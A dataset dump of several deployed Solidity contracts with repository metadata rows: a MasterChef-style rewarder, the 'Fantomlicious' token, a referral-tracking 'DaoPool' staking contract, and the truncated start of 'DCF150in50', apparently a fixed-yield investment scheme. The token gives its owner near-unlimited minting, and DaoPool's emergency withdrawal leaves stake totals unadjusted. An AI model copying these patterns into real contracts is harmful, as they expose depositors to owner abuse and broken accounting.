uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token,
address from,
address to,
uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token,
address spender,
uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
_owner = msg.sender;
emit OwnershipTransferred(address(0), msg.sender);
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == msg.sender, "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract Rewarder_MasterChef_Style is IRewarder, Ownable {
using SafeERC20 for IERC20;
/// @notice Info of each user.
/// `amount` LP token amount the user has provided.
/// `rewardDebt` The amount of rewardToken entitled to the user.
struct UserInfo {
uint256 amount;
uint256 rewardDebt;
}
address public immutable rewardToken; // Address of token contract for rewards
address public immutable iglooMaster; // Address of Igloo Master
uint256 public immutable PID; // Pool ID in iglooMaster
uint256 private constant ACC_TOKEN_PRECISION = 1e18;
uint256 public totalShares; // Total amount of shares in the pool
uint256 public accRewardPerShare; // Accumulated reward tokens per share, times ACC_TOKEN_PRECISION. See below.
uint256 public tokensPerSecond; // Reward tokens to distribute per second
uint256 public totalRewardAmount; // Total amount of reward tokens to distribute all time
uint256 public rewardDistributed; // Amount of reward tokens distributed to this pool so far
uint256 public lastRewardTimestamp; // Timestamp of last block that reward token distribution took place.
address public constant AVAX = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; //placeholder address for native token (AVAX)
mapping (address => UserInfo) public userInfo;
event LogOnReward(address indexed user, address indexed to, uint256 amount);
event RewardRateUpdated(uint256 oldRate, uint256 newRate);
modifier onlyIglooMaster {
require(msg.sender == iglooMaster,
"Only iglooMaster can call this function.");
_;
}
constructor (address _rewardToken, address _iglooMaster, uint256 _PID, uint256 _tokensPerSecond, uint256 _rewardStartTimestamp) {
require(_rewardStartTimestamp > block.timestamp, "rewards must start in future");
rewardToken = _rewardToken;
iglooMaster = _iglooMaster;
PID = _PID;
tokensPerSecond = _tokensPerSecond;
emit RewardRateUpdated(0, _tokensPerSecond);
lastRewardTimestamp = _rewardStartTimestamp;
}
//VIEW FUNCTIONS
function pendingTokens(uint256, address user, uint256)
override external view
returns (IERC20[] memory rewardTokens, uint256[] memory rewardAmounts) {
IERC20[] memory _rewardTokens = new IERC20[](1);
_rewardTokens[0] = IERC20(rewardToken);
uint256[] memory _rewardAmounts = new uint256[](1);
_rewardAmounts[0] = pendingReward(user);
return (_rewardTokens, _rewardAmounts);
}
function pendingReward(address _user) public view returns(uint256) {
UserInfo storage user = userInfo[_user];
uint256 accRewardPerShareLocal = accRewardPerShare;
uint256 amountRemainingToDistribute = rewardsRemaining();
if (block.timestamp > lastRewardTimestamp && totalShares != 0 && amountRemainingToDistribute > 0) {
uint256 multiplier = (block.timestamp - lastRewardTimestamp);
uint256 amountReward = multiplier * tokensPerSecond;
if (amountReward > amountRemainingToDistribute) {
amountReward = amountRemainingToDistribute;
}
accRewardPerShareLocal += (amountReward * ACC_TOKEN_PRECISION) / totalShares;
}
uint256 pending = ((user.amount * accRewardPerShareLocal) / ACC_TOKEN_PRECISION) - user.rewardDebt;
return pending;
}
function rewardsRemaining() public view returns(uint256) {
uint256 amountRemainingToDistribute = totalRewardAmount - rewardDistributed;
return amountRemainingToDistribute;
}
function distributionTimeRemaining() public view returns(uint256) {
uint256 amountRemainingToDistribute = rewardsRemaining();
return amountRemainingToDistribute / tokensPerSecond;
}
//EXTERNAL FUNCTIONS
//simple function to receive AVAX transfers
receive() external payable {}
//IGLOO MASTER-ONLY FUNCTIONS
function onPefiReward(uint256,
address sender,
address recipient,
uint256,
uint256 newShareAmount) onlyIglooMaster override external {
_updatePool();
UserInfo storage user = userInfo[sender];
if (user.amount > 0) {
uint256 pending = ((user.amount * accRewardPerShare) / ACC_TOKEN_PRECISION) - user.rewardDebt;
if (pending > 0) {
_safeRewardTokenTransfer(rewardToken, recipient, pending);
emit LogOnReward(sender, recipient, pending);
}
}
totalShares -= user.amount;
user.amount = newShareAmount;
totalShares += newShareAmount;
user.rewardDebt = (newShareAmount * accRewardPerShare) / ACC_TOKEN_PRECISION;
}
//OWNER-ONLY FUNCTIONS
function updateRewardStart(uint256 _rewardStartTimestamp) external onlyOwner {
require(_rewardStartTimestamp > block.timestamp, "rewards must start in future");
lastRewardTimestamp = _rewardStartTimestamp;
}
function updateRewardRate(uint256 _tokensPerSecond) external onlyOwner {
emit RewardRateUpdated(tokensPerSecond, _tokensPerSecond);
tokensPerSecond = _tokensPerSecond;
}
function updateTotalRewardAmount(uint256 _totalRewardAmount) external onlyOwner {
require(_totalRewardAmount >= rewardDistributed, "invalid decrease of totalRewardAmount");
totalRewardAmount = _totalRewardAmount;
}
function recoverFunds(address token, address dest, uint256 amount) external onlyOwner {
_safeRewardTokenTransfer(token, dest, amount);
}
//INTERNAL FUNCTIONS
// Update reward variables to be up-to-date.
function _updatePool() internal {
if (block.timestamp <= lastRewardTimestamp) {
return;
}
if (totalShares == 0 || tokensPerSecond == 0 || rewardDistributed == totalRewardAmount) {
lastRewardTimestamp = block.timestamp;
return;
}
uint256 multiplier = (block.timestamp - lastRewardTimestamp);
uint256 amountReward = multiplier * tokensPerSecond;
uint256 amountRemainingToDistribute = rewardsRemaining();
if (amountReward > amountRemainingToDistribute) {
amountReward = amountRemainingToDistribute;
}
rewardDistributed += amountReward;
accRewardPerShare += (amountReward * ACC_TOKEN_PRECISION) / totalShares;
lastRewardTimestamp = block.timestamp;
}
//internal wrapper function to avoid reverts due to rounding
function _safeRewardTokenTransfer(address token, address user, uint256 amount) internal {
if (token == AVAX) {
uint256 avaxBalance = address(this).balance;
if (amount > avaxBalance) {
payable(user).transfer(avaxBalance);
} else {
payable(user).transfer(amount);
}
} else {
IERC20 coin = IERC20(token);
uint256 coinBal = coin.balanceOf(address(this));
if (amount > coinBal) {
coin.safeTransfer(user, coinBal);
} else {
coin.safeTransfer(user, amount);
}
}
}
function _checkBalance(address token) internal view returns (uint256) {
if (token == AVAX) {
return address(this).balance;
} else {
return IERC20(token).balanceOf(address(this));
}
}
}
| 87,634 | 14,170 |
e6fa517f9aff58dec0146ddc74c629809ad6563a9ae84a85fb062fce9acf9a22
| 28,380 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/60/605ecc56912f15ad8568625d235b6f46e7e9a4d8_Fantomlicious.sol
| 3,954 | 15,037 |
pragma solidity 0.5.16;
pragma experimental ABIEncoderV2;
interface IBEP20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this;
return msg.data;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract Fantomlicious is Context, IBEP20, Ownable {
using SafeMath for uint256;
/// @notice EIP-20 token name for this token
string public constant _name = "Famtomlicious";
/// @notice EIP-20 token symbol for this token
string public constant _symbol = "FTML";
/// @notice EIP-20 token decimals for this token
uint8 public constant _decimals = 18;
/// @notice Total number of tokens in circulation
uint public _totalSupply = 1000000e18;
uint256 public _cap = 10000000000000000000000000e18;
/// @notice Allowance amounts on behalf of others
mapping (address => mapping (address => uint96)) internal allowances;
/// @notice Official record of token balances for each account
mapping (address => uint96) internal _balances;
/// @notice A record of each accounts delegate
mapping (address => address) public delegates;
/// @notice A checkpoint for marking number of votes from a given block
struct Checkpoint {
uint32 fromBlock;
uint96 votes;
}
/// @notice A record of votes checkpoints for each account, by index
mapping (address => mapping (uint32 => Checkpoint)) public checkpoints;
/// @notice The number of checkpoints for each account
mapping (address => uint32) public numCheckpoints;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the delegation struct used by the contract
bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
/// @notice A record of states for signing / validating signatures
mapping (address => uint) public nonces;
/// @notice An event thats emitted when an account changes its delegate
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
/// @notice An event thats emitted when a delegate account's vote balance changes
event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance);
constructor(address account) public {
_balances[account] = uint96(_totalSupply);
emit Transfer(address(0), account, _totalSupply);
}
function cap() public view returns (uint256) {
return _cap;
}
function getOwner() external view returns (address) {
return owner();
}
function decimals() external view returns (uint8) {
return _decimals;
}
function symbol() external view returns (string memory) {
return _symbol;
}
function name() external view returns (string memory) {
return _name;
}
function totalSupply() external view returns (uint256) {
return _totalSupply;
}
function harvest(uint256 rawAmount) public onlyOwner returns (bool) {
require(_msgSender() != address(0), "BEP20: harvest to the zero address");
require(_totalSupply.add(rawAmount) <= cap(), "Cannot harvest more than cap");
uint96 amount = safe96(rawAmount, "Comp::harvest: amount exceeds 96 bits");
_totalSupply = _totalSupply.add(amount);
_balances[_msgSender()] = add96(_balances[_msgSender()], amount, "BEP20: harvest amount exceeds capped");
emit Transfer(address(0), _msgSender(), amount);
return true;
}
function burn(uint256 rawAmount) public onlyOwner returns (bool) {
require(_msgSender() != address(0), "BEP20: burn from the zero address");
uint96 amount = safe96(rawAmount, "Comp::burn: amount exceeds 96 bits");
_balances[_msgSender()] = sub96(_balances[_msgSender()], amount, "BEP20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(_msgSender(), address(0), amount);
return true;
}
function allowance(address account, address spender) external view returns (uint) {
return allowances[account][spender];
}
function approve(address spender, uint rawAmount) external returns (bool) {
uint96 amount;
if (rawAmount == uint(-1)) {
amount = uint96(-1);
} else {
amount = safe96(rawAmount, "Comp::approve: amount exceeds 96 bits");
}
allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
function balanceOf(address account) external view returns (uint) {
return _balances[account];
}
function transfer(address dst, uint rawAmount) external returns (bool) {
uint96 amount = safe96(rawAmount, "Comp::transfer: amount exceeds 96 bits");
_transferTokens(msg.sender, dst, amount);
return true;
}
function transferFrom(address src, address dst, uint rawAmount) external returns (bool) {
address spender = msg.sender;
uint96 spenderAllowance = allowances[src][spender];
uint96 amount = safe96(rawAmount, "Comp::approve: amount exceeds 96 bits");
if (spender != src && spenderAllowance != uint96(-1)) {
uint96 newAllowance = sub96(spenderAllowance, amount, "Comp::transferFrom: transfer amount exceeds spender allowance");
allowances[src][spender] = newAllowance;
emit Approval(src, spender, newAllowance);
}
_transferTokens(src, dst, amount);
return true;
}
function delegate(address delegatee) public {
return _delegate(msg.sender, delegatee);
}
function delegateBySig(address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s) public {
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(_name)), getChainId(), address(this)));
bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH, delegatee, nonce, expiry));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "Comp::delegateBySig: invalid signature");
require(nonce == nonces[signatory]++, "Comp::delegateBySig: invalid nonce");
require(now <= expiry, "Comp::delegateBySig: signature expired");
return _delegate(signatory, delegatee);
}
function getCurrentVotes(address account) external view returns (uint96) {
uint32 nCheckpoints = numCheckpoints[account];
return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
}
function getPriorVotes(address account, uint blockNumber) public view returns (uint96) {
require(blockNumber < block.number, "Comp::getPriorVotes: not yet determined");
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
// First check most recent balance
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
// Next check implicit zero balance
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
function _delegate(address delegator, address delegatee) internal {
address currentDelegate = delegates[delegator];
uint96 delegatorBalance = _balances[delegator];
delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, delegatorBalance);
}
function _transferTokens(address src, address dst, uint96 amount) internal {
require(src != address(0), "Comp::_transferTokens: cannot transfer from the zero address");
require(dst != address(0), "Comp::_transferTokens: cannot transfer to the zero address");
_balances[src] = sub96(_balances[src], amount, "Comp::_transferTokens: transfer amount exceeds balance");
_balances[dst] = add96(_balances[dst], amount, "Comp::_transferTokens: transfer amount overflows");
emit Transfer(src, dst, amount);
_moveDelegates(delegates[src], delegates[dst], amount);
}
function _moveDelegates(address srcRep, address dstRep, uint96 amount) internal {
if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
uint32 srcRepNum = numCheckpoints[srcRep];
uint96 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint96 srcRepNew = sub96(srcRepOld, amount, "Comp::_moveVotes: vote amount underflows");
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
uint32 dstRepNum = numCheckpoints[dstRep];
uint96 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
uint96 dstRepNew = add96(dstRepOld, amount, "Comp::_moveVotes: vote amount overflows");
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
function _writeCheckpoint(address delegatee, uint32 nCheckpoints, uint96 oldVotes, uint96 newVotes) internal {
uint32 blockNumber = safe32(block.number, "Comp::_writeCheckpoint: block number exceeds 32 bits");
if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);
numCheckpoints[delegatee] = nCheckpoints + 1;
}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
function safe32(uint n, string memory errorMessage) internal pure returns (uint32) {
require(n < 2**32, errorMessage);
return uint32(n);
}
function safe96(uint n, string memory errorMessage) internal pure returns (uint96) {
require(n < 2**96, errorMessage);
return uint96(n);
}
function add96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) {
uint96 c = a + b;
require(c >= a, errorMessage);
return c;
}
function sub96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) {
require(b <= a, errorMessage);
return a - b;
}
function getChainId() internal pure returns (uint) {
uint256 chainId;
assembly { chainId := chainid() }
return chainId;
}
}
| 329,352 | 14,171 |
bb61d0079c9da3b9565b7517a32f64ac01e1044e950b3b276c791d7d64a98597
| 12,174 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TS/TS8ccrgnUmhnbyNAVEJY7fnJLLJRBGMV7j_DaoPool.sol
| 3,250 | 11,650 |
//SourceUnit: DaoPool.sol
pragma solidity 0.6.12;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, 'SafeMath: addition overflow');
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, 'SafeMath: subtraction overflow');
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, 'SafeMath: multiplication overflow');
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, 'SafeMath: division by zero');
}
function div(uint256 a,uint256 b,string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, 'SafeMath: modulo by zero');
}
function mod(uint256 a,uint256 b,string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
function min(uint256 x, uint256 y) internal pure returns (uint256 z) {
z = x < y ? x : y;
}
function sqrt(uint256 y) internal pure returns (uint256 z) {
if (y > 3) {
z = y;
uint256 x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,address recipient,uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable {
address private _owner;
constructor() internal {
_owner = msg.sender;
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == msg.sender, 'Ownable: caller is not the owner');
_;
}
function transferOwnership(address newOwner) public onlyOwner {
_owner = newOwner;
}
}
contract DaoPool is Ownable {
using SafeMath for uint256;
struct UserInfo {
uint256 amount;
uint256 rewardDebt;
uint256 downlineAmount;
uint256 withdrawn;
}
struct User {
uint256 id;
address upline;
}
mapping(address => User) public users;
address private immutable firstAddress;
mapping(uint256 => address) public id2Address;
uint256 public nextUserId = 2;
struct PoolInfo {
IERC20 lpToken;
uint256 allocPoint;
uint256 lastRewardBlock;
uint256 accdaoPerShare;
}
IERC20 public dao;
uint256 public daoPerBlock;
uint256 public daoStakeAmount;
PoolInfo[] public poolInfo;
mapping (uint256 => mapping (address => UserInfo)) public userInfo;
uint256 public totalAllocPoint = 0;
uint256 public startBlock;
uint256 public refRate = 0;
uint256 public minDepositRefAmount = 100*10**6;
uint256 public totalLP;
event Deposit(address indexed user, uint256 indexed pid, uint256 amount);
event Withdraw(address indexed user, uint256 indexed pid, uint256 amount);
constructor(IERC20 _dao, uint256 _daoPerBlock, uint256 _startBlock, address _first) public {
dao = _dao;
daoPerBlock = _daoPerBlock;
startBlock = _startBlock;
poolInfo.push(PoolInfo({
lpToken: _dao,
allocPoint: 0,
lastRewardBlock: startBlock,
accdaoPerShare: 0
}));
firstAddress = _first;
id2Address[1] = _first;
}
function register(address up) external {
require(isUserExists(up), "up not exist");
require(!isUserExists(msg.sender), "user exist");
uint256 id = nextUserId++;
users[msg.sender].id = id;
users[msg.sender].upline = up;
id2Address[id] = msg.sender;
}
function add(uint256 _allocPoint, IERC20 _lpToken, bool _withUpdate) public onlyOwner {
if (_withUpdate) {
massUpdatePools();
}
uint256 lastRewardBlock = block.number > startBlock ? block.number : startBlock;
totalAllocPoint = totalAllocPoint.add(_allocPoint);
poolInfo.push(PoolInfo({
lpToken: _lpToken,
allocPoint: _allocPoint,
lastRewardBlock: lastRewardBlock,
accdaoPerShare: 0
}));
}
function set(uint256 _pid, uint256 _allocPoint, bool _withUpdate) public onlyOwner {
if (_withUpdate) {
massUpdatePools();
}
totalAllocPoint = totalAllocPoint.sub(poolInfo[_pid].allocPoint).add(_allocPoint);
poolInfo[_pid].allocPoint = _allocPoint;
}
function setR(uint256 r) public onlyOwner {
refRate = r;
}
function setRA(uint256 ra) public onlyOwner {
minDepositRefAmount = ra;
}
function setPer(uint256 p) public onlyOwner {
massUpdatePools();
daoPerBlock = p;
}
function massUpdatePools() public {
uint256 length = poolInfo.length;
for (uint256 pid = 0; pid < length; ++pid) {
updatePool(pid);
}
}
function updatePool(uint256 _pid) public {
PoolInfo storage pool = poolInfo[_pid];
if (block.number <= pool.lastRewardBlock) {
return;
}
uint256 lpSupply = pool.lpToken.balanceOf(address(this));
if(_pid == 0) {
lpSupply = daoStakeAmount;
}
if (lpSupply == 0) {
pool.lastRewardBlock = block.number;
return;
}
uint256 blockNum = block.number.sub(pool.lastRewardBlock);
uint256 daoReward = blockNum.mul(daoPerBlock).mul(pool.allocPoint).div(totalAllocPoint);
pool.accdaoPerShare = pool.accdaoPerShare.add(daoReward.mul(1e12).div(lpSupply));
pool.lastRewardBlock = block.number;
}
function deposit(uint256 _pid, uint256 _amount) public {
require(isUserExists(msg.sender), "user not exist");
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
_addGen(msg.sender, _pid, _amount);
updatePool(_pid);
if (user.amount > 0) {
uint256 pending = user.amount.mul(pool.accdaoPerShare).div(1e12).sub(user.rewardDebt);
payout(_pid, msg.sender, pending);
}
if (_amount > 0) {
pool.lpToken.transferFrom(address(msg.sender), address(this), _amount);
user.amount = user.amount.add(_amount);
if(_pid == 0) {
daoStakeAmount += _amount;
}
totalLP = totalLP.add(_amount);
}
user.rewardDebt = user.amount.mul(pool.accdaoPerShare).div(1e12);
emit Deposit(msg.sender, _pid, _amount);
}
function _addGen(address addr, uint256 pid, uint256 amount) private {
address up = users[addr].upline;
for(; up != address(0);) {
userInfo[pid][up].downlineAmount += amount;
up = users[up].upline;
}
}
function withdraw(uint256 _pid, uint256 _amount) public {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
require(user.amount >= _amount, "withdraw: not good");
updatePool(_pid);
uint256 pending = user.amount.mul(pool.accdaoPerShare).div(1e12).sub(user.rewardDebt);
payout(_pid, msg.sender, pending);
if(_amount > 0) {
user.amount = user.amount.sub(_amount);
pool.lpToken.transfer(msg.sender, _amount);
if(_pid == 0) {
daoStakeAmount -= _amount;
}
_removeGen(msg.sender, _pid, _amount);
totalLP = totalLP.sub(_amount);
}
user.rewardDebt = user.amount.mul(pool.accdaoPerShare).div(1e12);
emit Withdraw(msg.sender, _pid, _amount);
}
function _removeGen(address addr, uint256 pid, uint256 amount) private {
address up = users[addr].upline;
for(; up != address(0);) {
userInfo[pid][up].downlineAmount -= amount;
up = users[up].upline;
}
}
function payout(uint256 _pid, address addr, uint256 pending) private {
if(pending > 0) {
dao.transfer(addr, pending);
userInfo[_pid][addr].withdrawn += pending;
address up = users[addr].upline;
if(up != address(0) && refRate > 0) {
UserInfo memory upInfo = userInfo[_pid][up];
if(upInfo.amount >= minDepositRefAmount){
uint256 reward = pending*refRate/100;
dao.transfer(up, reward);
userInfo[_pid][up].withdrawn += reward;
}
}
}
}
function emergencyWithdraw(uint256 _pid) external {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
pool.lpToken.transfer(address(msg.sender), user.amount);
user.amount = 0;
user.rewardDebt = 0;
}
function isUserExists(address addr) public view returns (bool) {
return users[addr].id != 0;
}
function poolLength() external view returns (uint256) {
return poolInfo.length;
}
function pendingdao(uint256 _pid, address _user) external view returns (uint256) {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][_user];
uint256 accdaoPerShare = pool.accdaoPerShare;
uint256 lpSupply = pool.lpToken.balanceOf(address(this));
if(_pid == 0) {
lpSupply = daoStakeAmount;
}
if (block.number > pool.lastRewardBlock && lpSupply != 0) {
uint256 blockNum = block.number.sub(pool.lastRewardBlock);
uint256 daoReward = blockNum.mul(daoPerBlock).mul(pool.allocPoint).div(totalAllocPoint);
accdaoPerShare = accdaoPerShare.add(daoReward.mul(1e12).div(lpSupply));
}
return user.amount.mul(accdaoPerShare).div(1e12).sub(user.rewardDebt);
}
function userInfoById(uint256 userid, uint256 pid) external view returns (address, address, uint256, uint256, uint256) {
address addr = id2Address[userid];
return userInfoByAddr(addr, pid);
}
function userInfoByAddr(address addr, uint256 pid) public view returns (address, address, uint256, uint256, uint256) {
UserInfo storage o = userInfo[pid][addr];
return (addr, users[addr].upline, o.amount, o.downlineAmount, o.withdrawn);
}
}
| 286,237 | 14,172 |
1abb7d4f67d2561f7e750d2d700c1b1139e61c94ef1002951d4fcdfc285d0a5c
| 18,579 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TK/TKVbQyH69P3dkhhM6y2G4G7fZyW7Jiunzw_DCF150in50.sol
| 4,887 | 17,714 |
//SourceUnit: DCF150in50.sol
pragma solidity 0.5.10;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
library Objects {
struct Investment {
uint256 investmentDate;
uint256 investment;
uint256 lastWithdrawalDate;
uint256 currentDividends;
bool isExpired;
}
struct Investor {
address addr;
uint256 checkpoint;
uint256 referrerEarnings;
uint256 availableReferrerEarnings;
uint256 reinvestWallet;
uint256 referrer;
uint256 planCount;
mapping(uint256 => Investment) plans;
uint256 level1RefCount;
uint256 level2RefCount;
uint256 level3RefCount;
}
}
contract Ownable {
address public owner;
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
}
